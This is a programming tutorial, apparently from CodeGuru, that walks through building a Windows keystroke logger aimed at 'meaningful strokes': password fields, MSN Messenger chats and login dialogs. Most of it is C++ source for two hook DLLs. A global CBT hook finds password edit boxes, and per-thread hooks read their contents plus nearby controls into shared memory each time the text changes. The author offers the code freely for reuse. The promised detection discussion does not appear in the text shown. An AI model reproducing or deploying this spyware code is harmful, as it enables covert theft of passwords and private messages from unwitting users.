Keystroke Logger and More…

  

Environment: VC6+SP5 or 7, Win 2K/XP/2003 ONLY! (Test passed on English/Japanese/Chinese Win2K Server/XP Prof and English Win2003 Server), MS PlatformSDK, Microsoft XML Parser (MSXML)

Special Claim: This article is based on pure logical deduction and has nothing to do with reverse engineering; no undocumented API was used. It is not aimed to counter any special software. Because part of the code uses Windows hook and network communication, USE the source code to compile the exe out when you want to take full control of the program. Please shut down all unrelated programs when experimenting the program for possible system deadlock (though tests showed its stability). You are free to use all the code and when you merge it into your program, please let me share your joy of “copy-and-paste” by dropping me an e-mail.

Prerequisite Knowledge: Multithread Synchronization, Memory Management, Common Control, NT Service, COM, Win2k Security, XML, DHTML, and Windows Hook. Knowledge of PE format, MAPI, or WinINet will be helpful.

Applicable Article Category in CodeGuru: Miscellaneous, System

Summary

This article is about a keystroke logger program and its related technical stuff. It introduces a concept, “Interception of Meaningful Strokes Only,” which includes a password field, MSN Messenger chat, IE form, Windows Login Screen, and so on. It also explains the mechanism of the Logger Detection program. With the discussion of logging and detection, it demonstrates various solutions and tries to resolve the dilemma of “how to survive” from the the points of view on both sides (logger and detector).

Part 1—Warm Up

So, many among you have heard of keystroke logger programs or even tried them, haven’t you? Basically, a logger is a keyboard driver-based or a hook-based program, usually running silently to record what the user typed. Naturally, some detection programs have been developed to cope with loggers. This article will mainly focus on the hook-based type stuff.

In most cases, the logger starts its business from a “SetWindowsHookEx + WH_GETMESSAGE/WH_KEYBOARD”, reads the key message passively, and writes to a file or uploads to somewhere. The net result is that you get everything, yes, everything——including 50%++ garbage. And, inevitably the hook DLL will be mapped to any program receiving posted messages. Refer to the figure below: Logger inserts its hook DLL into the system-wide hook chain, and all key messages will be intercepted by the Hook DLL (unless it is kicked off the chain by other program or deprived of receiving message by its top hook DLL; we will talk these topics later), thru some IPC (Inter Process Communication) it sends data to the logger main body to does addition processing or transferring. By the way, in Figure 1, the logger hook DLL will be mapped into Word and MSN processes because the user types the first character in their window.

Figure 1. Tradition Keystroke Logger Architecture

A traditional logger such as the above type has several drawbacks, including

  1. It cannot log any auto-complete field like inside IE; for use, do not input anything.
  2. It is hard to recover data if the user uses “copy-paste” frequently. (Well, some loggers on the market provide a “clipboard-log,” but it is another story.)
  3. Mapping into almost all processes means more performance hits and more chances to be detected.

So… read only what is really worthy of being read.

The improved logger’s architecture is as following, which I have mentioned in my previous articles MessengerSpy++ published on CodeGuru.com in the year 2002. The basic idea is use CBT hook to filter all window creation and destroy messages, and launch the second MSG/CALLWNDPROC-type hook on all the windows we are interested in. You may find its advantages are:

  1. It is able to handle any auto-complete field by further scanning (we will see it later)
  2. It has strong tolerance to “copy-paste” interruption.
  3. Mapping only to target-type window processes means less of a performance hit.

Of course, I could hear some of you begin to complain that we have to write more code… In Figure 2, the dashed white line stands for the life period of the hook DLL and its host window, by the way.

Figure 2. Improved Dual-Hook Keystroke Logger

I found that transferring data in this dual-hook architecture is a big deal compared with implementing the hook itself. It is a unidirectional process, transferring which data size and trigger time, all of which variable greatly. Because it will be on the local machine, I choose MMF; and from the unidirectional property I have to use a dual event. Using a mutex is not suitable here, for we are not sharing something but unidirectionally transferring something. Figure 3 demonstrates the transferring in detail:

Figure 3. Data Transferring Synchronization Solution by Dual-Event-Protection MMF

The red and blue lines stand for the signaled and non-signaled state of the event. At first, only “Write Event” is signaled; this permits the DLL thread to access the MMF. When the DLL has finished its writing, it resets the “Write Event” and sets “Read Event;” thus, the logger thread has its chance to read the data from MMF, AND clears the MMF. At the end of the read, “Write Event” is set again, and “Read Event” is reset. One data transferring circle is like that.

Part 2—Our First Logger

Well, it is time to start writing our first logger now. It contains three sub projects, including two hook DLLs and one GUI client to let you see the effect. Oh, I know it is an exaggeration (if not audacious) that a logger should have a GUI to show that you are logged; but just keep it simple and straightforward for now before we upgrade it into a NT Service, and let the impatient guys have visual joy instantly.

The following two sets of figures show the visual effect of the program (they are MSN Messenger Login Dialog and MMC Use Password Change Dialog):

 

 

Code Excerpt of CBT DLL

// Instruct the compiler to put these data variable in
// its own data section called Shared. We then instruct the
// linker that we want to share the data in this section
// with all instances of this application.
#pragma data_seg("Shared")
HHOOK g_hNightmareHook      = NULL;    //Global CBT Hook Handle
HWND g_hNightmareCallerHwnd = NULL;    //Caller Window Handle,
                                       //Debug Only
DWORD g_dwNightmareThreadIdCaller = 0; //Caller Thread ID,
                                       //Debug Only
HWND g_hMSNChatWnd = NULL;             //Target MSN Chat Window
HWND g_hPwdEdit[MAX_PWD_EDIT] = { NULL, NULL, NULL, NULL, NULL,
                                  NULL, NULL, NULL, NULL, NULL,
                                  NULL, NULL, NULL, NULL, NULL,
                                  NULL, NULL, NULL, NULL, NULL};
//Maximum Track 20 password Edit One Time
#pragma data_seg()
// Instruct the linker to make the Shared section readable,
// writable, and shared.
#pragma comment(linker, "/section:Shared,rws")

//Hook Procedure
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam);
// Nonshared variables
HINSTANCE g_hinstDll = NULL;

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call,
                       LPVOID lpReserved)
  {
    switch (ul_reason_for_call)
    {
      case DLL_PROCESS_ATTACH:
        g_hinstDll = (HINSTANCE)hModule;
        break;
      case DLL_THREAD_ATTACH:
      case DLL_THREAD_DETACH:
      case DLL_PROCESS_DETACH:
        break;
    }
    for(int i = 0; i < MAX_PWD_EDIT; i++)
    {
      g_hPwdEdit[i] = NULL;
    }
    return TRUE;
  }

  BOOL WINAPI InitNightmare(HWND hCallerHwnd)
  {
    // Make sure that the hook is not already installed.
    if(g_hMSNChatWnd != NULL && ::IsWindow(g_hMSNChatWnd)
                             && g_hNightmareHook != NULL)
    {
      PopMsg(err); return FALSE;
    }
    for(int i = 0; i < MAX_PWD_EDIT; i++)
    {
      if(g_hPwdEdit[i] != NULL && IsWindow(g_hPwdEdit[i])
                               && g_hNightmareHook != NULL)
      {
        PopMsg(err); return FALSE;
      }
    }

    if(g_hNightmareHook != NULL) err-handler;

    g_hNightmareCallerHwnd      = hCallerHwnd;
    g_dwNightmareThreadIdCaller = GetCurrentThreadId();

    // Install the hook on Global thread
    g_hNightmareHook = SetWindowsHookEx(WH_CBT, CBTProc,
                                        g_hinstDll, 0);

    if (g_hNightmareHook != NULL)
       return TRUE;     //Succeeded
    else err-handler
       return FALSE;
  }

 BOOL WINAPI ExitNightmare()
  {
    if(g_hNightmareHook == NULL) err-handler;
    //no use, hook cannot re-enter
    BOOL b = UnhookWindowsHookEx(g_hNightmareHook);
    if(!b) err-handler;
    g_hNightmareHook       = NULL;
    g_hNightmareCallerHwnd = NULL;

    g_hMSNChatWnd = NULL;
    // The original idea is the service shut down after all the
    // windows are destroyed, so the CBTProc will receive the
    // WM_DESTROY of the edit handle, but to be safe you have to
    // avoid the user stopping the service, so that you have to
    // free the hook for the windows that are still there
    for(int i = 0; i < MAX_PWD_EDIT; i++)
    {
      g_hPwdEdit[i] = NULL;
    }
    return TRUE;
  }

  //MSDN says
  //At the time of the HCBT_CREATEWND notification, the window has
  //been created, but its final size and position may not have
  //been determined and its parent window may not have been
  //established. The password dialog poped by IE is the child of
  //the desktop.

  LRESULT CALLBACK CBTProc(
    int nCode,         // hook code
    WPARAM wParam,     // depends on hook code
    LPARAM lParam      // depends on hook code
  )
  {
    if(nCode < 0)
      return CallNextHookEx(g_hNightmareHook, nCode, wParam,
                            lParam);

    if(nCode == HCBT_DESTROYWND)
    {
      //Only the parent dialog of the edit will receive a
      //destroy message
      HWND hWnd = (HWND)wParam;
      for(int i =0 ; hWnd != NULL && i< MAX_PWD_EDIT; i++)
      {
        if(g_hPwdEdit[i] != NULL)
        {
          HWND hParent = g_hPwdEdit[i];
          while(hParent != NULL)
          {
            //target edit's parent is being destroyed, free it
            if(hWnd == hParent)
            {
              ::ExitEditLink(g_hPwdEdit[i]);
              g_hPwdEdit[i] = NULL;
              return CallNextHookEx(g_hNightmareHook, nCode,
                                    wParam, lParam);
            }
            HWND hTemp = ::GetParent(hParent);
            hParent = hTemp;
          }
        }
      }

      //If you hooked MSN directly from Application, here will
      //not be reached for we did not get the create event.
      //The create-destroy must be given in pairs.
      if(g_hMSNChatWnd != NULL)
      {
        hWnd           = (HWND)wParam;
        HWND hParent   = g_hMSNChatWnd;
        while(hParent != NULL)
        {
          if(hWnd == hParent)
          {
            //::ExitMsn(g_hMSNChatWnd);
            g_hMSNChatWnd = NULL;
            return CallNextHookEx(g_hNightmareHook, nCode,
                                  wParam, lParam);
          }
          HWND hTemp = ::GetParent(hParent);
          hParent = hTemp;
        }
      }
    }

    if(nCode == HCBT_CREATEWND)
    {
      //wParam = Handle, lParam = not defined
      if(IsPasswordEdit((HWND)wParam) &&
         InsertPasswordEditArray((HWND)wParam))
      {
        ::InitEditLink((HWND)wParam);
      }

      if(IsMSNMessager((HWND)wParam))
      {
        //If not unhooked properly, unhook here
        if(g_hMSNChatWnd)
        {
          //::ExitMsn(g_hMSNChatWnd);
        }
        //::InitMsn((HWND)wParam);
        g_hMSNChatWnd = (HWND)wParam;
      }
    }
    return 0;    //permit operation
  }

Code Excerpt of Edit-Link (MSG-CALLWNDPROC) DLL

// Instruct the compiler to put the g_hXXXhook data variable in
// its own data section called Shared. We then instruct the
// linker that we want to share the data in this section
// with all instances of this application.
#pragma data_seg("Shared")
//Post Message Hook Handle
HHOOK g_hEditPostHook[MAX_PWD_EDIT] = {NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL};
//Send Message Hook Handle
HHOOK g_hEditSendHook[MAX_PWD_EDIT] = {NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL};

//Tracked Edit
HWND g_hEditWnd[MAX_PWD_EDIT] = {NULL, NULL, NULL, NULL, NULL,
                                 NULL, NULL, NULL, NULL, NULL,
                                 NULL, NULL, NULL, NULL, NULL,
                                 NULL, NULL, NULL, NULL, NULL};

//Tracked Active Edit (Which Contents Have Never Been Spied
//Even Once)
HWND g_hActiveEditWnd[MAX_PWD_EDIT] = {NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL,
                                       NULL, NULL, NULL, NULL};

//Tracked Edit Thread
DWORD g_idEditThread[MAX_PWD_EDIT] = {0, 0, 0, 0, 0, 0, 0, 0,
                                      0, 0, 0, 0, 0, 0, 0, 0,
                                      0, 0, 0, 0};
#pragma data_seg()

// Instruct the linker to make the Shared section readable,
// writable, and shared.
#pragma comment(linker, "/section:Shared,rws")

// Nonshared variables
HINSTANCE g_hinstDll = NULL;

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call,
                       LPVOID lpReserved)
  {
    switch (ul_reason_for_call)
    {
      case DLL_PROCESS_ATTACH:
        g_hinstDll = (HINSTANCE)hModule;
        break;
      case DLL_THREAD_ATTACH:
      case DLL_THREAD_DETACH:
      case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

//Set Hook On Target Window
BOOL WINAPI InitEditLink(HWND hEdit)
  {
    //DO NOT Set Hok on the same thread again!!!
    DWORD td = ::GetWindowThreadProcessId(hEdit, NULL);

    //Check whether this thread has been hooked
    for(int i = 0; i < MAX_PWD_EDIT; i++)
    {
      if(g_idEditThread[i] == td)    //no need to hook
      {
        //Set Hook To Previous Value
        DWORD dwIndex            = InsertEditHwnd(hEdit);
        if(dwIndex              == (UINT)-1) return FALSE;
        g_hEditSendHook[dwIndex] = g_hEditSendHook[i];
        g_hEditPostHook[dwIndex] = g_hEditPostHook[i];
        g_idEditThread[dwIndex]  = g_idEditThread[i];
        return TRUE;
      }
  }

  //First Window On This Thread, Hook It
  DWORD dwIndex = InsertEditHwnd(hEdit);
  if(dwIndex   == (UINT)-1) return FALSE;
  g_idEditThread[dwIndex] = ::GetWindowThreadProcessId(hEdit,
                                                       NULL);

  // Install the hook on the specified thread
  g_hEditSendHook[dwIndex] = SetWindowsHookEx(WH_CALLWNDPROC,
                                       (HOOKPROC)
                                        CallWndProcHook,
                                        g_hinstDll,
                                        g_idEditThread[dwIndex]);

  if(g_hEditSendHook[dwIndex] == NULL)
  {
    // Make sure that a hook has been installed.
    err-handler;
  }

  g_hEditPostHook[dwIndex] = SetWindowsHookEx(WH_GETMESSAGE,
                                          GetMsgProc,
                                          g_hinstDll,
                                          g_idEditThread[dwIndex]);
  if(g_hEditPostHook[dwIndex] == NULL)
  {
    // Make sure that a hook has been installed.
    err-handler;
  }
  //current top-level edit we are looking at
  PushActiveEdit(hEdit);
  return TRUE;
}

BOOL WINAPI ExitEditLink(HWND hEdit)
{
  DWORD dwIndex     = QueryEditHwndIndex(hEdit);
  if(dwIndex       == (UINT)-1) return FALSE;
  DWORD tid         = ::g_idEditThread[dwIndex];
  DWORD dwThreadNum = 0;
  for(int i = 0; i < MAX_PWD_EDIT; i++)
  {
    if(g_idEditThread[i] == tid) dwThreadNum++;
  }

  //If the thread is used by other edit, do not unhook it
  if(dwThreadNum > 1)
  {
    g_hEditWnd[dwIndex]      = NULL;
    g_hEditSendHook[dwIndex] = NULL;
    g_hEditPostHook[dwIndex] = NULL;
    g_idEditThread[dwIndex]  = 0;
    return TRUE;
  }

  //the last edit running on the thread ready to quit
  BOOL b = UnhookWindowsHookEx(g_hEditSendHook[dwIndex]);
  if(!b)
  {
    ::ReportErr(err);
    if(g_hEditPostHook[dwIndex])
      UnhookWindowsHookEx(g_hEditPostHook[dwIndex]);

    g_hEditWnd[dwIndex]      = NULL;
    g_hEditSendHook[dwIndex] = NULL;
    g_hEditPostHook[dwIndex] = NULL;
    g_idEditThread[dwIndex]  = 0;
    return FALSE;
  }

  if(g_hEditPostHook[dwIndex])
  UnhookWindowsHookEx(g_hEditPostHook[dwIndex]);

  g_hEditWnd[dwIndex]      = NULL;
  g_hEditSendHook[dwIndex] = NULL;
  g_hEditPostHook[dwIndex] = NULL;
  g_idEditThread[dwIndex]  = 0;
  return TRUE;
}

//////////////////////////////////////////////////////////////////
//For multiple hooks, I suppose the the dialog containing the
//password edit is always in a modal state
LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  MSG* msg = (MSG*)lParam;
  //If we have some edit to be checked
  if(PopActiveEdit(FALSE) != NULL)
  {
    HWND hWnd     = msg->hwnd;
    DWORD dwIndex = -1;
    DWORD tid     = GetWindowThreadProcessId(hWnd, NULL);
    for(int i     = 0; i < MAX_PWD_EDIT; i++)
    {
      if(tid == ::g_idEditThread[i])
      {
        HWND h = PopActiveEdit(TRUE);
        BombPwdEdit(h);  //inside it, more message cause re-enter
        break;
      }
    }
  }
  //Note: WM_COMMAND is Sent to Window, not Post
  //find the hook index
  HWND hWnd     = msg->hwnd;
  DWORD dwIndex = -1;
  DWORD tid     = GetWindowThreadProcessId(hWnd, NULL);

  for(int i = 0; i < MAX_PWD_EDIT; i++)
  {
    if(tid == ::g_idEditThread[i])
    {
      dwIndex = i;
      break;
    }
  }
  if(dwIndex == MAX_PWD_EDIT)    // not found ???
  {
    //::ReportErr(_T("Edit Hook to where"));
    return 0;
  }
  return(CallNextHookEx(g_hEditPostHook[dwIndex], nCode,
                        wParam, lParam));
}

//Note: CallWndProcHook can NOT change message (from MSDN)
//SendMessage Hook Proc
LRESULT CALLBACK CallWndProcHook(
  int nCode,        // hook code
  WPARAM wParam,    // If sent by the current thread, it is
                    // nonzero; otherwise, it is zero.
  LPARAM lParam     // message data
)
{
  CWPSTRUCT* pCwp = (CWPSTRUCT*)lParam;

  //Whenever User Input is inside an Edit, heh heh man...
  if(pCwp->message == WM_COMMAND && HIWORD(pCwp->wParam)
                   == EN_CHANGE)
  {
    for(int i = 0; i < MAX_PWD_EDIT; i++)
    {
      if(g_hEditWnd[i] == (HWND)(pCwp->lParam))
      {
        BombPwdEdit(g_hEditWnd[i]);
        break;
      }
    }
  }

  //find the hook index
  HWND hWnd     = pCwp->hwnd;
  DWORD dwIndex = -1;
  DWORD tid     = GetWindowThreadProcessId(hWnd, NULL);
  //g_hChatWnd's parent is the Desktop Window
  for(int i = 0; i < MAX_PWD_EDIT; i++)
  {
    if(tid == ::g_idEditThread[i])
    {
      dwIndex = i;
      break;
    }
  }
  if(dwIndex == MAX_PWD_EDIT)    // where???
  {
    //::ReportErr(_T("Hook to where"));
    return 0;
  }

  if (nCode < 0)
  {
   // just pass it on
    return CallNextHookEx (g_hEditSendHook[dwIndex], nCode,
                           wParam, lParam) ;
  }
  return CallNextHookEx (g_hEditSendHook[dwIndex], nCode,
                         wParam, lParam) ;
}

typedef struct tagBombEditPara
{
  LPVOID lpMem;
  LPVOID lpdwSize;
  LPVOID lpdwUsed;
} BombEditPara;

//====All the Control Class From Windows OS Self====
// {_T("Static"), 0 }, {_T("Button"), 1 },
// {_T("Edit"), 2 }, {_T("ListBox"), 3 },
// {_T("ComboBox"), 4 }, {_T("RICHEDIT"), 5 },
// {_T("ComboBoxEx32"), 6 }, {_T("SysAnimate32"), 7 },
// {_T("SysDateTimePick32"), 8 }, {_T("SysHeader32"), 9 },
// {_T("msctls_hotkey32"), 10 }, {_T("SysIPAddress32"), 11 },
// {_T("SysListView32"), 12 }, {_T("SysMonthCal32"), 13 },
// {_T("msctls_progress32"), 14 }, {_T("ReBarWindow32"), 15 },
// {_T("RichEdit20A"), 16 }, {_T("RichEdit20W"), 17 },
// {_T("msctls_trackbar32"), 18 }, {_T("msctls_updown32"), 19 },
// {_T("msctls_progress32"), 20 }, {_T("msctls_statusbar32"), 21 },
// {_T("SysTabControl32"), 22 }, {_T("ToolbarWindow32"), 23 },
// {_T("tooltips_class32"), 24 }, {_T("SysTreeView32"), 25 },
//=====From Visual Basic ====
// ThunderCommandButton ThunderComboBox ThunderListBox
// ThunderTextBox
// StatusBar20WndClass Toolbar20WndClass TabStrip20WndClass
// Slider20WndClass
// ListView20WndClass TreeView20WndClass ThunderCheckBox
// ThunderOptionButton
// ThunderHScrollBar RichTextWndClass ProgressBar20WndClass
// ThunderFrame
//===== C# =======
//WindowsForms10.EDIT.app1 WindowsForms10.BUTTON.app1 .....

BOOL CALLBACK EnumChildProc(
  HWND hWnd,       // handle to child window
  LPARAM lParam    // application-defined value
)
{
  BombEditPara* myPara = (BombEditPara*)lParam;
  LPVOID lpMem         = myPara->lpMem;
  DWORD dwSize, dwUsed;
  //get currrent MMF status data
  ::CopyMemory(&dwSize, myPara->lpdwSize, sizeof(DWORD));
  ::CopyMemory(&dwUsed, myPara->lpdwUsed, sizeof(DWORD));

  //cope with EDIT, LISTBOX, COMBOBOX, STATIC, BUTTON(CheckBox,
  //                                                  RadioBox),
  //                                                  STATIC

  TCHAR szClassName[64];
  int nRet = GetClassName(hWnd, szClassName, 64);
  if(nRet == 0) return TRUE;
  szClassName[nRet] = 0;
  BOOL bRet;
  if(::lstrcmp(szClassName, _T("Edit")) == 0 ||
     ::lstrcmp(szClassName, _T("ThunderTextBox")) == 0)
  {
    bRet = GrabEditText(hWnd, lpMem, dwSize, dwUsed);
  }
  else if(::lstrcmp(szClassName, _T("Static")) == 0 ||
          ::lstrcmp(szClassName, _T("ThunderFrame")) == 0)
  {
    bRet = GrabStaticText(hWnd, lpMem, dwSize, dwUsed);
  }
  //more else if ........
  else return TRUE;
  //by the way, you can deal with ListView or TreeView
  //the same way...
  ::CopyMemory(myPara->lpdwSize, &dwSize, sizeof(DWORD));
  ::CopyMemory(myPara->lpdwUsed, &dwUsed, sizeof(DWORD));
  return bRet;
}

//hEdit is the password editbox
BOOL WINAPI BombPwdEdit(HWND hPwdEdit)
{
  //This Edit Needed a Parent anyway
  if(::GetParent(hPwdEdit) == NULL) return FALSE;
  BombEditPara myPara;
  HANDLE hMMF = OpenFileMapping(FILE_MAP_READ | FILE_MAP_WRITE,
                                FALSE, g_MMF_NAME);
  if (hMMF == NULL) err-handler;

  HANDLE hWriteEvent = ::OpenEvent(EVENT_ALL_ACCESS,
                                   FALSE,g_WRITE_EVENT_MMF_NAME);
  if(hWriteEvent == NULL) err-handler;

  HANDLE hReadEvent = ::OpenEvent(EVENT_ALL_ACCESS,
                                  FALSE,g_READ_EVENT_MMF_NAME);
  if(hReadEvent == NULL) err-handler;

  DWORD dwRet = ::WaitForSingleObject(hWriteEvent,
                                      MAX_WAIT);//INFINITE);
  if(dwRet == WAIT_ABANDONED) err;
  else if(dwRet == WAIT_TIMEOUT) err;
  //Ok, we could write to MMF now
  ::ResetEvent(hWriteEvent);

  //4 Byte total size    //4 byte used size
  DWORD pos = 0;
  //head 4 byte to record size
  LPVOID pView = MapViewOfFile(hMMF, FILE_MAP_READ |
                                     FILE_MAP_WRITE, 0, 0, 0);
  if(pView == NULL) err;

  LPBYTE lpByte = (LPBYTE)pView;
  DWORD dwSize, dwUsed;
  ::CopyMemory(&dwSize, lpByte, sizeof(DWORD));
  lpByte += sizeof(DWORD);
  ::CopyMemory(&dwUsed, lpByte, sizeof(DWORD));
  lpByte += sizeof(DWORD);

  LPVOID lpMem = (LPVOID)lpByte;    //Actual Data Head
  //Write System Time
  SYSTEMTIME tm;
  ::GetLocalTime(&tm);

  TCHAR sz[128];
  _stprintf(sz, _T(">>>\r\n%d/%d/%d,%d:%d:%d\r\n"),
            tm.wYear, tm.wMonth, tm.wDay, tm.wHour, tm.wMinute,
            tm.wSecond);
  DWORD dwDisp = ::lstrlen(sz)*sizeof(TCHAR);
  lpByte = (LPBYTE)lpMem;
  lpByte += dwUsed;
  ::CopyMemory(lpByte, sz, dwDisp);
  dwUsed += dwDisp;

  //Write Process Name
  TCHAR szPath[4 * MAX_PATH];               // anyway, the length
                                            // is enough
  dwRet = GetModuleFileName(NULL,           // handle to module
                            szPath,         // path buffer
                            4 * MAX_PATH    // size of buffer
  );
  szPath[dwRet] = TCHAR('\0');
  TCHAR* chLastSlash = _tcsrchr(szPath, TCHAR('\\'));
  chLastSlash++;

  dwDisp = ::lstrlen((LPCTSTR)chLastSlash)*sizeof(TCHAR);
  lpByte = (LPBYTE)lpMem;
  lpByte += dwUsed;
  ::CopyMemory(lpByte, chLastSlash, dwDisp);
  dwUsed += dwDisp;
  _stprintf(sz, _T("\r\n"));
  dwDisp = ::lstrlen(sz)*sizeof(TCHAR);
  lpByte = (LPBYTE)lpMem;
  lpByte += dwUsed;
  ::CopyMemory(lpByte, sz, dwDisp);
  dwUsed += dwDisp;

  myPara.lpMem    = lpMem;
  myPara.lpdwUsed = &dwUsed;
  myPara.lpdwSize = &dwSize;
  //Enum all the siblings of our target edit
  BOOL bRet = EnumChildWindows(
              ::GetParent(hPwdEdit), // handle to parent window
              EnumChildProc,         // callback function
              (LPARAM)&myPara        // application-defined value
  );
  ::CopyMemory(&dwSize, myPara.lpdwSize, sizeof(DWORD));
  ::CopyMemory(&dwUsed, myPara.lpdwUsed, sizeof(DWORD));
  //Write Used Mem
  lpByte = (LPBYTE)pView;
  lpByte += sizeof(DWORD);
  ::CopyMemory(lpByte, &dwUsed, sizeof(DWORD));
  //Clear up
  ::UnmapViewOfFile(pView);
  ::CloseHandle(hMMF);
  ::SetEvent(hReadEvent);    //Client Side Can Read Now

  ::CloseHandle(hWriteEvent);
  ::CloseHandle(hReadEvent);
  return TRUE;
}

/////////////////////////////////////////////////////////////////
//Read Contents of Various Controls, and Write To MMF

//Support Both EDIT and RICHEDIT
BOOL GrabEditText(HWND hEdit, LPVOID lpMem, DWORD &dwSize,
                  DWORD &dwUsed)
{
  LPBYTE pByte = (LPBYTE)lpMem;
  pByte       += dwUsed;
  LPTSTR pData = (LPTSTR)pByte;

  RECT rect;
  ::GetWindowRect(hEdit, &rect);
  TCHAR sz[64];
  //Write Coordinate & Handle
  _stprintf(sz, _T("Edit (%d,%d,%d,%d) 0x%X-"),
    rect.left, rect.top, rect.right, rect.bottom, hEdit);
  DWORD dwDisp = ::lstrlen(sz)*sizeof(TCHAR);
  ::CopyMemory(pData, sz, dwDisp);
  dwUsed += dwDisp;
  pByte  += dwDisp;
  pData   = (LPTSTR)pByte;

  //Note: If the control has no text, the return value is 1.
  int lines = ::SendMessage((HWND)hEdit,       // handle to
                                               // destination
                                               // window
                             EM_GETLINECOUNT,  // message to send
                             0,                // not used; must
                                               // be zero
                             0);               // not used; must
                                               // be zero

  //The return value will never be less than 1.
  for(int i = 0; i < lines; i++)
  {
    //Suppose A line Contains At Most 1024 characters
    TCHAR pStr[1024];
    WORD wLen = 0x0400;
    ::CopyMemory(pStr, &wLen, 2);

    DWORD ret = ::SendMessage((HWND) hEdit,    // handle to
                                               // destination window
                               EM_GETLINE,     // message to send
                               (WPARAM) i,     // line number
                               (LPARAM)(LPCTSTR)pStr);
                                               // line buffer
    //Write text
    pStr[ret] = TCHAR('\r');
    pStr[ret+1] = TCHAR('\n');

    dwDisp  = (ret+2)*sizeof(TCHAR);
    ::CopyMemory(pData, pStr, dwDisp);
    dwUsed += dwDisp;
    pByte  += dwDisp;
    pData   = (LPTSTR)pByte;
  }
  return TRUE;
}
//Parse Button
BOOL GrabButtonText(HWND hButton, LPVOID lpMem, DWORD &dwSize,
                    DWORD &dwUsed)
{
  LPBYTE pByte = (LPBYTE)lpMem;
  pByte       += dwUsed;
  LPTSTR pData = (LPTSTR)pByte;

  RECT rect;
  ::GetWindowRect(hButton, &rect);

  TCHAR szType[64];
  LONG_PTR lStyle   = ::GetWindowLongPtr(hButton, GWL_STYLE);
  LONG_PTR lStyleEx = ::GetWindowLongPtr(hButton, GWL_EXSTYLE);

  if((BS_AUTOCHECKBOX & lStyle) == BS_AUTOCHECKBOX ||
     (BS_CHECKBOX & lStyle)     == BS_CHECKBOX)
  {
    //2-State CheckBox
    ::lstrcpy(szType, _T("CheckBtn"));
    LRESULT hr = ::SendMessage(hButton, BM_GETCHECK, 0, 0);
    if(hr == BST_CHECKED)
          ::lstrcat(szType, _T("<Checked>"));
    else if(hr == BST_UNCHECKED)
          ::lstrcat(szType, _T("<Unchecked>"));
    else
          ::lstrcat(szType, _T("<?>"));
  }
  else if((BS_AUTO3STATE & lStyle) == BS_AUTO3STATE ||
           (BS_3STATE & lStyle) == BS_3STATE)
  {
    //3-State CheckBox
    ::lstrcpy(szType, _T("3StateCheckBtn"));
    LRESULT hr = ::SendMessage(hButton, BM_GETCHECK, 0, 0);
    if(hr == BST_CHECKED)
          ::lstrcat(szType, _T("<Checked>"));
    else if(hr == BST_UNCHECKED)
          ::lstrcat(szType, _T("<Unchecked>"));
    else
          ::lstrcat(szType, _T("<Grayed>"));
  }
  else if((BS_AUTORADIOBUTTON & lStyle) == BS_AUTORADIOBUTTON ||
          (BS_RADIOBUTTON & lStyle) == BS_RADIOBUTTON)
  {
    //Radio Button
    ::lstrcpy(szType, _T("RadioBtn"));
    LRESULT hr = ::SendMessage(hButton, BM_GETCHECK, 0, 0);
    if(hr == BST_CHECKED)
       ::lstrcat(szType, _T("<Checked>"));
    else if(hr == BST_UNCHECKED)
       ::lstrcat(szType, _T("<Unchecked>"));
    else
       ::lstrcat(szType, _T("<?>"));
  }
  else
    ::lstrcpy(szType, _T("Btn"));

  TCHAR sz[128];
  _stprintf(sz, _T("%s(%d,%d,%d,%d) 0x%X-"), szType,
  rect.left, rect.top, rect.right, rect.bottom, hButton);
  DWORD dwDisp = ::lstrlen(sz)*sizeof(TCHAR);
  ::CopyMemory((LPVOID)pData, sz, dwDisp);
  dwUsed += dwDisp;
  pByte  += dwDisp;
  pData   = (LPTSTR)pByte;

  //Get Caption
  TCHAR pStr[1024];
  WPARAM wParam = 0x0400;
  DWORD ret = ::SendMessage( (HWND) hButton,  // handle to
                                              // destination window
                              WM_GETTEXT,     // message to send
                              wParam,         // buffer size in
                                              // TCHAR
                              (LPARAM)pStr);  // buffer
  //Write text
  pStr[ret]   = TCHAR('\r');
  pStr[ret+1] = TCHAR('\n');

  dwDisp  = (ret+2)*sizeof(TCHAR);
  ::CopyMemory(pData, pStr, dwDisp);
  dwUsed += dwDisp;
  pByte  += dwDisp;
  pData   = (LPTSTR)pByte;

  return TRUE;
}

.......    //more controls handlers continue....

Pitfalls in Coding the Hook DLL

Here I assume you already have some experience with hooks, and I would not repeat the basic stuff you could find in common hook development. What I mention in the following is mainly related to multiple hook interaction:

  1. If you use an array in the shared section, please remember to initialize it anyway, like this:
  2. //Post Message Hook Handle
    HHOOK g_hEditPostHook[MAX_PWD_EDIT] = {NULL, NULL, NULL, NULL,
                                           NULL, NULL, NULL, NULL,
                                           NULL, NULL, NULL, NULL,
                                           NULL, NULL, NULL, NULL,
                                           NULL, NULL, NULL, NULL};
    
  3. If you have code inside a hook procedure calling (triggering) more Windows messages, make sure your hook procedure is not re-entered unintentionally. The code to do that is like this:
  4. LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM
                              lParam)
    {
      MSG* msg = (MSG*)lParam;
      if(msg->message == WM_USR+117)
      {
        DoSomething();
        PostMessage(hSelfHwnd, WM_USER+117, 0, 0);
      }
    .......
    

    Otherwise, it will fall into an endless loop. Use Global Variable Flag or other ways to ensure your hook procedure is not called endlessly.

  5. Make sure you are NOT calling SetWindowsHookEx twice unless it’s intentional. Calling SetWindowsHookEx the second time on the same thread will NOT result in any error or abnormal exception; the only result is that theprevious hook handle becomes invalid. Let’s take an example in the above code excerpt. There are two password edits on two dialogs residing in the same GUI thread. After you hook up the first password edit, DO NOT hook again to the thread again when you meet the second edit!!! Otherwise, you will lose the first hook handle. Check and re-use the first hook handle again, and when all the password edits are destroyed, un-hook the only hook.

